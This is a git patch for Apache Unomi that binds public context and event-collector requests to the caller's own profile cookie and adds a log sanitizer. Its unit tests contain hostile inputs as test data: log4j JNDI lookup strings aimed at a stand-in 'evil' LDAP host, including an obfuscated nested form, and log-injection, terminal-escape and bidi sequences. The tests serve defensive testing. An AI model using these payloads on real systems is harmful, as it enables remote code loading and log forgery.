From e3741c6dfd4f08a602f35fb90473774ed380b9e1 Mon Sep 17 00:00:00 2001 From: Serge Huber Date: Thu, 13 Aug 2026 14:50:07 +0200 Subject: [PATCH 1/2] UNOMI-975: Bind a public context request to the profile its own cookie names /context.json and /eventcollector accept a profile id in the request body and a session id with the request. For a public caller these are now treated as claims to be checked rather than as instructions: the body profileId is honoured only when it matches the caller's own context-profile-id cookie, and a supplied session is continued only when that cookie already owns it. The cookie is the single source of truth for who a public caller is. A session that is not continued is detached rather than rebound, and its id is not echoed back in the response - a client that saw its own id returned would keep replaying an id the server has not accepted. Anonymous browsing, personas and profile overrides are unchanged. A caller with no cookie is still issued a profile, which is how tracking has always worked. The server-side path is preserved: a caller holding the tenant private key still sets the body profileId, gated on hasSystemAccess() behind isTrustedProfileCaller() so the distinction has one seam rather than being spread across the call sites. The shipped profile cookie now defaults to HttpOnly. The model above rests on that cookie not being readable from page script, so the default is part of the design rather than a preference. ContextEndpointBaselineIT records the behaviour on both sides of the change: its compat_* tests must pass either way, and its hardened_* tests pin the new guarantees. The nine binding tests in ContextServletIT pin what must not change. Co-Authored-By: Claude Opus 5 (1M context) --- .../apache/unomi/api/utils/LogSanitizer.java | 83 +++ .../unomi/api/utils/LogSanitizerTest.java | 229 ++++++++ .../java/org/apache/unomi/itests/AllITs.java | 1 + .../itests/ContextEndpointBaselineIT.java | 289 ++++++++++ .../apache/unomi/itests/ContextServletIT.java | 410 +++++++++++++- .../unomi/itests/CorePersistenceITs.java | 1 + .../main/asciidoc/builtin-event-types.adoc | 8 +- .../asciidoc/how-profile-tracking-works.adoc | 68 ++- .../asciidoc/javascript-tracker-guide.adoc | 91 +-- manual/src/main/asciidoc/multitenancy.adoc | 36 +- manual/src/main/asciidoc/privacy.adoc | 2 +- manual/src/main/asciidoc/recipes.adoc | 17 +- .../src/main/asciidoc/request-examples.adoc | 20 +- .../resources/etc/custom.system.properties | 3 +- .../rest/endpoints/ContextJsonEndpoint.java | 5 +- .../unomi/rest/exception/LogSanitizer.java | 21 +- .../service/impl/RestServiceUtilsImpl.java | 157 ++++-- .../unomi/utils/EventsRequestContext.java | 25 + .../ShippedProfileCookieConfigTest.java | 67 +++ ...estServiceUtilsImplProfileBindingTest.java | 526 ++++++++++++++++++ .../apache/unomi/web/servlets/WebConfig.java | 2 +- .../main/resources/org.apache.unomi.web.cfg | 2 +- 22 files changed, 1889 insertions(+), 174 deletions(-) create mode 100644 api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java create mode 100644 api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java create mode 100644 itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java create mode 100644 rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java create mode 100644 rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java new file mode 100644 index 0000000000..6d7b237bb7 --- /dev/null +++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +/** + * Sanitizes untrusted, request-derived values before they are written to a log. + *

+ * Anything that arrives over the network is untrusted, so writing it verbatim into a log + * makes the log itself a surface worth defending: an embedded newline lets an untrusted caller inject + * log records (making real activity look like routine traffic, or implicating someone else), control characters + * can corrupt terminals and log shippers, and an unbounded value can flood the log. Security + * warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and + * trusted during incident response. + *

+ * Values that never leave the server — enum names, role sets, hashes, rule configuration authored by + * an administrator — do not need this. Use it for request bodies, headers, cookies, query and path + * parameters, uploaded filenames, and event properties. + */ +public final class LogSanitizer { + + /** Long enough to identify a value, short enough that it cannot flood the log. */ + private static final int MAX_LENGTH = 200; + + private LogSanitizer() { + } + + /** + * Replaces every character that is not printable ASCII, and every log-format marker + * ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control + * characters used for log injection, and neutralises markers that a downstream log formatter + * might otherwise interpret. + * + * @param input the untrusted value, may be {@code null} + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input) { + return forLogging(input, MAX_LENGTH); + } + + /** + * As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need + * more room (a request URL, an exception message) than the default. + * + * @param input the untrusted value, may be {@code null} + * @param maxLength the length beyond which the value is truncated + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input, int maxLength) { + if (input == null) { + return "null"; + } + // Clamped: a negative limit would make substring throw, from inside a helper whose whole + // contract is that it is always safe to call in a log statement. No caller passes one today, + // but a computed limit (a remaining-budget calculation, say) would be an easy way to turn a + // security-refusal log line into an uncaught exception. + int limit = Math.max(0, maxLength); + String value = input.length() > limit ? input.substring(0, limit) + "...[truncated]" : input; + StringBuilder sanitized = new StringBuilder(value.length()); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { + sanitized.append(c); + } else { + sanitized.append('_'); + } + } + return sanitized.toString(); + } +} diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java new file mode 100644 index 0000000000..338ab062be --- /dev/null +++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java @@ -0,0 +1,229 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * The values this guards are untrusted by definition — uploaded filenames, event property + * names, cookies, session ids — so these are the cases an untrusted caller would actually try. + */ +public class LogSanitizerTest { + + /** + * The core defence: a newline would let an untrusted caller close the current log record and write their + * own, injecting an entry that an operator or SIEM would read as genuine. + */ + @Test + public void newlinesCannotInjectALogRecord() { + String injected = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved"; + + String sanitized = LogSanitizer.forLogging(injected); + + assertFalse("a newline must not survive into the log", sanitized.contains("\n")); + assertFalse("a carriage return must not survive into the log", sanitized.contains("\r")); + assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_")); + } + + @Test + public void controlCharactersAreReplaced() { + // ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary + // printable text, which is why only the ESC itself needs replacing. + String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d"); + + assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0); + assertFalse("TAB must not survive", sanitized.contains("\t")); + assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0); + assertEquals("a_[2Jb_c_d", sanitized); + } + + /** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */ + @Test + public void logFormatMarkersAreNeutralised() { + String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertFalse(sanitized.contains("%")); + } + + @Test + public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() { + String sanitized = LogSanitizer.forLogging("a".repeat(5000)); + + assertTrue(sanitized.endsWith("...[truncated]")); + assertTrue("truncated output must stay bounded", sanitized.length() < 300); + } + + @Test + public void callerSuppliedLimitIsHonoured() { + assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3)); + } + + @Test + public void ordinaryValuesArePassedThroughUnchanged() { + assertEquals("myAction", LogSanitizer.forLogging("myAction")); + assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890", + LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890")); + } + + /** Distinguishable from an empty value, so an audit record never silently loses a field. */ + @Test + public void nullBecomesAnExplicitMarker() { + assertEquals("null", LogSanitizer.forLogging(null)); + } + + // --------------------------------------------------------------------------------------- + // Inputs that a naive implementation of this filter would let through. Each is here because + // some plausible shortcut - matching a literal name, checking isISOControl - misses it. + // --------------------------------------------------------------------------------------- + + /** + * The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode + * line terminators but are not ISO controls, so a validator written against that + * predicate lets them through while JSON log pipelines and JS-based log viewers still break the + * line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not. + */ + @Test + public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() { + assertFalse(Character.isISOControl('\u2028')); + assertFalse(Character.isISOControl('\u2029')); + + String sanitized = LogSanitizer.forLogging("a\u2028injected\u2029line\u0085nel"); + + assertEquals("a_injected_line_nel", sanitized); + } + + /** + * A log4j lookup can be assembled from nested lookups, so matching on a literal name such as + * {@code jndi} is not a sound filter. This sanitizer instead removes the {@code $} and braces + * that make a lookup a lookup, which covers the whole family rather than the spellings someone + * thought to enumerate. + */ + @Test + public void nestedLookupSyntaxIsNeutralised() { + String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a")); + } + + /** + * A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can + * split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders + * reject or mangle. Filtering after truncation means the orphan is replaced like any other + * non-ASCII char, so the result is always well-formed. + */ + @Test + public void truncationCannotLeaveAnUnpairedSurrogate() { + String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair + StringBuilder payload = new StringBuilder(); + for (int i = 0; i < 199; i++) { + payload.append('a'); + } + payload.append(emoji); + + String sanitized = LogSanitizer.forLogging(payload.toString()); + + for (int i = 0; i < sanitized.length(); i++) { + assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i))); + } + } + + /** + * Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so + * an untrusted caller can make a log line read as something else entirely in a live terminal. + */ + @Test + public void terminalRewritingSequencesAreRemoved() { + String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007"); + + assertFalse(sanitized.contains("\b")); + assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0); + assertTrue(sanitized.startsWith("denied")); + } + + /** + * Right-to-left override reverses the display order of everything after it, so a log entry can + * be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a + * grep would match. + */ + @Test + public void bidiOverrideCannotReorderTheDisplayedLine() { + String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c"); + + assertFalse(sanitized.contains("\u202e")); + assertFalse(sanitized.contains("\u202c")); + } + + /** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */ + @Test + public void zeroWidthCharactersCannotHideATokenFromSearch() { + String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff"); + + assertFalse(sanitized.contains("\u200b")); + assertFalse(sanitized.contains("\ufeff")); + assertEquals("ad_min_", sanitized); + } + + /** + * A payload placed beyond the truncation point must not come back: truncation happens first, so + * anything past the limit is gone before it can be interpreted. + */ + @Test + public void payloadHiddenBeyondTheTruncationPointIsDropped() { + String sanitized = LogSanitizer.forLogging("a".repeat(400) + "\nWARN injected-record"); + + assertFalse(sanitized.contains("injected-record")); + assertFalse(sanitized.contains("\n")); + } + + /** + * An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a + * surviving backslash would become a real newline. Filtering the backslash removes that + * second-order path. + */ + @Test + public void escapedNewlineCannotBeRevivedDownstream() { + String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac"); + + assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\")); + } + + /** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */ + @Test + public void sanitizationIsIdempotent() { + String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00"); + + assertEquals(once, LogSanitizer.forLogging(once)); + } + + /** A negative limit must not throw: this helper is called from inside log statements. */ + @Test + public void negativeLimitIsClampedRatherThanThrowing() { + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", -1)); + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", 0)); + } + +} diff --git a/itests/src/test/java/org/apache/unomi/itests/AllITs.java b/itests/src/test/java/org/apache/unomi/itests/AllITs.java index 41351e5b02..446c4b559e 100644 --- a/itests/src/test/java/org/apache/unomi/itests/AllITs.java +++ b/itests/src/test/java/org/apache/unomi/itests/AllITs.java @@ -56,6 +56,7 @@ ModifyConsentIT.class, PatchIT.class, ContextServletIT.class, + ContextEndpointBaselineIT.class, SecurityIT.class, RuleServiceIT.class, PrivacyServiceIT.class, diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java new file mode 100644 index 0000000000..2c51a5b990 --- /dev/null +++ b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java @@ -0,0 +1,289 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.itests; + +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.util.EntityUtils; +import org.apache.unomi.api.ContextRequest; +import org.apache.unomi.api.Event; +import org.apache.unomi.api.EventsCollectorRequest; +import org.apache.unomi.api.CustomItem; +import org.apache.unomi.api.Profile; +import org.apache.unomi.itests.tools.httpclient.HttpClientThatWaitsForUnomi; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.ops4j.pax.exam.junit.PaxExam; +import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy; +import org.ops4j.pax.exam.spi.reactors.PerSuite; + +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.Objects; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * Before/after behavioural baseline for the two public client endpoints, {@code /cxs/context.json} + * (plus its {@code /cxs/context.js} sibling) and {@code /cxs/eventcollector}. + *

+ * This class is deliberately written to compile and run against both the pre-hardening + * baseline and the hardened branch, so the same suite can be executed on each and the results + * diffed. It is split into two groups with opposite expectations: + *

+ * The compat group covers the client entry points that had no coverage at all: the {@code GET} + * forms carrying a {@code ?payload=} query parameter, which is how a script tag or image beacon + * tracks, and which route through exactly the same binding code as the POST forms. + */ +@RunWith(PaxExam.class) +@ExamReactorStrategy(PerSuite.class) +public class ContextEndpointBaselineIT extends BaseIT { + + private static final String UNOMI_API_KEY_HTTP_HEADER_KEY = "X-Unomi-Api-Key"; + private static final String CONTEXT_JSON_URL = "/cxs/context.json"; + private static final String CONTEXT_JS_URL = "/cxs/context.js"; + private static final String EVENT_COLLECTOR_URL = "/cxs/eventcollector"; + private static final String TEST_SCOPE = "baseline-scope"; + + // ------------------------------------------------------------------ compatibility group + + /** A brand new visitor with no cookie and no session must still be issued a profile. */ + @Test + public void compat_firstVisitIssuesAProfileAndCookie() throws Exception { + String sessionId = "baseline-first-" + System.currentTimeMillis(); + TestUtils.RequestResponse response = postContextJson(newContextRequest(sessionId), null, sessionId); + + assertEquals(200, response.getStatusCode()); + assertNotNull("a first visit must be issued a profile id", response.getContextResponse().getProfileId()); + assertNotNull("a first visit must be issued the profile cookie", response.getCookieHeaderValue()); + } + + /** A returning visitor presenting the cookie must be recognised as the same profile. */ + @Test + public void compat_returningVisitorKeepsItsProfile() throws Exception { + String sessionId = "baseline-returning-" + System.currentTimeMillis(); + TestUtils.RequestResponse first = postContextJson(newContextRequest(sessionId), null, sessionId); + String profileId = first.getContextResponse().getProfileId(); + + TestUtils.RequestResponse second = postContextJson(newContextRequest(sessionId), first.getCookieHeaderValue(), sessionId); + + assertEquals(200, second.getStatusCode()); + assertEquals("a returning visitor must keep its profile", profileId, second.getContextResponse().getProfileId()); + assertEquals("and its session", sessionId, second.getContextResponse().getSessionId()); + } + + /** The GET form with ?payload= must behave like the POST form. This entry point had no coverage. */ + @Test + public void compat_getWithPayloadBehavesLikePost() throws Exception { + String sessionId = "baseline-get-" + System.currentTimeMillis(); + TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId); + String profileId = established.getContextResponse().getProfileId(); + + HttpGet get = new HttpGet(getFullUrl(CONTEXT_JSON_URL) + "?payload=" + encode(newContextRequest(sessionId))); + get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + get.addHeader("Cookie", established.getCookieHeaderValue()); + TestUtils.RequestResponse response = TestUtils.executeContextJSONRequest(get, sessionId, getObjectMapper()); + + assertEquals(200, response.getStatusCode()); + assertEquals("GET ?payload= must resolve the same profile as POST", profileId, + response.getContextResponse().getProfileId()); + } + + /** /cxs/context.js must keep serving JavaScript to script-tag clients. */ + @Test + public void compat_contextJsServesJavaScript() throws Exception { + String sessionId = "baseline-js-" + System.currentTimeMillis(); + HttpGet get = new HttpGet(getFullUrl(CONTEXT_JS_URL) + "?sessionId=" + sessionId); + get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + + try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(get)) { + assertEquals(200, response.getStatusLine().getStatusCode()); + String body = EntityUtils.toString(response.getEntity()); + // Same marker BasicIT asserts on: context.js emits the digitalData bootstrap that + // script-tag clients rely on. Asserting the marker, not just a 200, so an empty or + // error body cannot pass as success. + assertTrue("context.js must return the tracker javascript, got: " + + body.substring(0, Math.min(200, body.length())), + body.contains("window.digitalData")); + } + } + + /** Event collection over POST must keep working and report the event as processed. */ + @Test + public void compat_eventCollectorAcceptsEvents() throws Exception { + String sessionId = "baseline-ec-" + System.currentTimeMillis(); + TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId); + + HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.addHeader("Cookie", established.getCookieHeaderValue()); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(newEventsRequest(sessionId)), + ContentType.APPLICATION_JSON)); + + try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(post)) { + assertEquals("the eventcollector must keep accepting events from a cookie-bearing client", + 200, response.getStatusLine().getStatusCode()); + } + } + + /** The eventcollector GET form with ?payload= — another entry point that had no coverage. */ + @Test + public void compat_eventCollectorGetWithPayload() throws Exception { + String sessionId = "baseline-ecget-" + System.currentTimeMillis(); + TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId); + + HttpGet get = new HttpGet(getFullUrl(EVENT_COLLECTOR_URL) + "?payload=" + encode(newEventsRequest(sessionId))); + get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + get.addHeader("Cookie", established.getCookieHeaderValue()); + + try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(get)) { + assertEquals(200, response.getStatusLine().getStatusCode()); + } + } + + /** A client may continue its own session across requests without re-establishing it. */ + @Test + public void compat_sessionContinuityAcrossRequests() throws Exception { + String sessionId = "baseline-cont-" + System.currentTimeMillis(); + TestUtils.RequestResponse first = postContextJson(newContextRequest(sessionId), null, sessionId); + + for (int i = 0; i < 3; i++) { + TestUtils.RequestResponse next = postContextJson(newContextRequest(sessionId), first.getCookieHeaderValue(), sessionId); + assertEquals(200, next.getStatusCode()); + assertEquals("the client's own session must never be refused", sessionId, + next.getContextResponse().getSessionId()); + } + } + + // ------------------------------------------------------------------ hardened group + // Expected to FAIL on the pre-hardening baseline and PASS after. That contrast is the point. + + /** + * A public caller must not be able to read another visitor's profile by naming it in the body. + *

+ * The probe request carries ONLY the body profileId - no cookie and no session - because that is + * what makes this discriminating. An earlier version of this test also sent a session owned by the + * caller, and on the pre-hardening baseline the session-recovery logic switched the profile back + * to the session owner, masking the body profileId entirely and making the test pass on both + * sides. Asserting on the other's actual data rather than on an echoed id keeps it honest. + */ + @Test + public void hardened_publicBodyProfileIdIsIgnored() throws Exception { + String otherProfileId = "baseline-other-" + System.currentTimeMillis(); + String otherSecret = "baseline-secret-" + System.currentTimeMillis(); + Profile other = new Profile(otherProfileId); + other.setProperty("baselineSecret", otherSecret); + profileService.save(other); + keepTrying("Other profile should be saved", () -> profileService.load(otherProfileId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + ContextRequest claim = new ContextRequest(); + claim.setProfileId(otherProfileId); + claim.setRequiredProfileProperties(Collections.singletonList("*")); + CustomItem source = new CustomItem("baseline-page", "page"); + source.setScope(TEST_SCOPE); + claim.setSource(source); + + HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(claim), ContentType.APPLICATION_JSON)); + + // Plain client, not HttpClientThatWaitsForUnomi: the hardened branch answers 400 here + // (nothing left to bind once the body profileId is ignored), and that helper retries + // non-2xx and then throws, which would mask the very behaviour under test. + try (CloseableHttpResponse response = httpClient.execute(post)) { + String body = response.getEntity() == null ? "" : EntityUtils.toString(response.getEntity()); + assertFalse("a public caller must not receive the other's profile properties, got: " + + body.substring(0, Math.min(300, body.length())), + body.contains(otherSecret)); + assertFalse("a public caller must not be bound to the other's profile id", + body.contains(otherProfileId)); + } + } finally { + profileService.delete(otherProfileId, false); + } + } + + /** A public caller must not be able to adopt a session belonging to someone else. */ + @Test + public void hardened_publicCallerCannotAdoptAForeignSession() throws Exception { + String otherSessionId = "baseline-other-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse other = postContextJson(newContextRequest(otherSessionId), null, otherSessionId); + String otherProfileId = other.getContextResponse().getProfileId(); + + String publicCallerSessionId = "baseline-public-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse publicCaller = postContextJson(newContextRequest(publicCallerSessionId), null, publicCallerSessionId); + + // Untrusted caller presents the other's session id with its own cookie. + TestUtils.RequestResponse attempt = postContextJson(newContextRequest(otherSessionId), + publicCaller.getCookieHeaderValue(), otherSessionId); + + assertEquals(200, attempt.getStatusCode()); + assertTrue("the untrusted caller must not end up on the other's profile", + !otherProfileId.equals(attempt.getContextResponse().getProfileId())); + } + + // ------------------------------------------------------------------ helpers + + private ContextRequest newContextRequest(String sessionId) { + ContextRequest contextRequest = new ContextRequest(); + contextRequest.setSessionId(sessionId); + CustomItem source = new CustomItem("baseline-page", "page"); + source.setScope(TEST_SCOPE); + contextRequest.setSource(source); + return contextRequest; + } + + private EventsCollectorRequest newEventsRequest(String sessionId) { + Event event = new Event(); + event.setEventType("view"); + event.setScope(TEST_SCOPE); + EventsCollectorRequest eventsRequest = new EventsCollectorRequest(); + eventsRequest.setSessionId(sessionId); + eventsRequest.setEvents(Collections.singletonList(event)); + return eventsRequest; + } + + private TestUtils.RequestResponse postContextJson(ContextRequest contextRequest, String cookie, String sessionId) + throws Exception { + HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + if (cookie != null) { + post.addHeader("Cookie", cookie); + } + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); + return TestUtils.executeContextJSONRequest(post, sessionId, getObjectMapper()); + } + + private String encode(Object payload) throws Exception { + return URLEncoder.encode(getObjectMapper().writeValueAsString(payload), StandardCharsets.UTF_8.name()); + } +} diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java index e714ac218d..f68904a6f3 100644 --- a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java +++ b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java @@ -11,7 +11,7 @@ * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language gtestCreateEventWithPropertiesValidation_Successoverning permissions and + * See the License for the specific language governing permissions and * limitations under the License */ @@ -34,6 +34,8 @@ import org.apache.http.client.config.RequestConfig; import org.apache.unomi.api.*; import org.apache.unomi.api.conditions.Condition; +import org.apache.unomi.api.conditions.ConditionType; +import org.apache.unomi.api.rules.Rule; import org.apache.unomi.api.segments.Scoring; import org.apache.unomi.api.segments.Segment; import org.apache.unomi.api.tenants.ApiKey; @@ -48,6 +50,8 @@ import org.ops4j.pax.exam.junit.PaxExam; import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy; import org.ops4j.pax.exam.spi.reactors.PerSuite; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.File; import java.net.URI; @@ -66,6 +70,8 @@ @RunWith(PaxExam.class) @ExamReactorStrategy(PerSuite.class) public class ContextServletIT extends BaseIT { + private final static Logger LOGGER = LoggerFactory.getLogger(ContextServletIT.class); + private final static String CONTEXT_URL = "/cxs/context.json"; private final static String UNOMI_API_KEY_HTTP_HEADER_KEY = "X-Unomi-Api-Key"; @@ -123,6 +129,22 @@ public void setUp() throws InterruptedException { @After public void tearDown() throws InterruptedException { + // The login-merge tests register this rule and remove it on their happy path, but an + // assertion failing earlier would leave it behind. The suite shares one Karaf container + // (PerSuite), so a stray rule reacting to every login event would leak into later tests. + // + // Guarded: if this threw, it would abort tearDown before the event/session cleanup below, + // silently polluting the shared container for every later test with a failure that looks + // unrelated. A rule that cannot be removed is worth reporting, not worth losing the rest + // of the cleanup over. + try { + if (rulesService.getRule("testLogin") != null) { + rulesService.removeRule("testLogin"); + } + } catch (RuntimeException e) { + LOGGER.warn("Could not remove the testLogin rule during tearDown; later tests in this " + + "suite may see it", e); + } persistenceService.refresh(); TestUtils.removeAllEvents(definitionsService, persistenceService, true, tenantService, executionContextManager); TestUtils.removeAllSessions(definitionsService, persistenceService, true, tenantService, executionContextManager); @@ -419,6 +441,315 @@ public void testCreateEventWithTimestampParam_futureEvent_profileIsNotAddedToSeg DEFAULT_SHOULDBETRUE_TRIES); } + @Test + public void testPublicCaller_mismatchedBodyProfileId_ignored() throws Exception { + String sessionId = "mismatch-session-" + System.currentTimeMillis(); + + ContextRequest firstRequest = new ContextRequest(); + firstRequest.setSessionId(sessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, sessionId); + assertEquals(200, established.getStatusCode()); + String cookieProfileId = established.getContextResponse().getProfileId(); + assertNotNull(cookieProfileId); + assertNotNull(established.getCookieHeaderValue()); + + String publicCallerProfileId = "public-body-profile-" + System.currentTimeMillis(); + ContextRequest mismatchRequest = new ContextRequest(); + mismatchRequest.setSessionId(sessionId); + mismatchRequest.setProfileId(publicCallerProfileId); + HttpPost mismatch = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(mismatch); + mismatch.addHeader("Cookie", established.getCookieHeaderValue()); + mismatch.setEntity(new StringEntity(getObjectMapper().writeValueAsString(mismatchRequest), ContentType.APPLICATION_JSON)); + RequestResponse mismatched = executeContextJSONRequest(mismatch, sessionId); + + assertEquals(200, mismatched.getStatusCode()); + assertEquals("Public caller must keep cookie profile when body profileId differs", + cookieProfileId, mismatched.getContextResponse().getProfileId()); + assertNull("Untrusted caller-supplied profileId must not be created", profileService.load(publicCallerProfileId)); + } + + /** + * End-to-end guard for anonymous browsing. The session-ownership check added for public callers + * deliberately skips anonymous profiles today; any future tightening of it must not detach the + * session of a visitor who is legitimately browsing anonymously. That failure would be invisible + * at unit level in the endpoint wiring, hence this IT: it asserts the visitor's own session id is + * still echoed back (a refused session is suppressed 